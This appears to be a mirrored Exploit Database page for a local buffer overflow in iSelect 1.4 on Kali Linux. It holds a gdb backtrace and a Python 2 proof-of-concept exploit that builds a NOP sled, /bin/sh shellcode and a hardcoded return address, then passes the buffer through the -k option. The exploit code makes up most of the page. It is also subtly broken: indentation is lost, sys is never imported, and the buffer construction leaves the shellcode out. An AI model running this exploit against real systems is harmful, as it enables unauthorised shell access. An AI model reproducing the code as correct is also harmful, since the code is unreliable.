iSelect v1.4 – Local Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： Juan Sacco
  日期： 2017-01-16
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41076/

• # Exploit developed using Exploit Pack v7.01
  # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
  # Program affected: iSelect
  # Affected value: -k, --key=KEY
  # Version: 1.4.0-2+b1
  #
  # Tested and developed under:Kali Linux 2.0 x86 - https://www.kali.org
  # Program description: ncurses-based interactive line selection tool
  # iSelect is an interactive line selection tool, operating via a
  # full-screen Curses-based terminal session.
  
  # Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
  # MD5sum: d5ace58e0f463bb09718d97ff6516c24
  # Website: http://www.ossp.org/pkg/tool/iselect/
  
  # Where in the code:
  #70xb7eaa69f in __strcpy_chk (dest=0xbfffeccc "1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199 times>..., destlen=1024) at strcpy_chk.c:30
  #80x0804bfaa in ?? ()
  #90x0804914d in ?? ()
  #10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2, argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291
  
  
  # Exploit code: Proof of Concept ( Without Fortify )
  import os, subprocess
  
  def run():
  try:
  print "# iSelect - Local Buffer Overflow by Juan Sacco"
  print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com"
  # NOPSLED + SHELLCODE + EIP
  
  buffersize = 1024
  nopsled = "\x90"*30
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  eip = "\x08\xec\xff\xbf"
  buffer = nopsled * (buffersize-len(shellcode)) + eip
  subprocess.call(["iselect -k=",'', buffer])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "Sorry, iSelect binary - Not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit iSelect -Local Overflow Exploit"
  print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
  howtousage()
  run()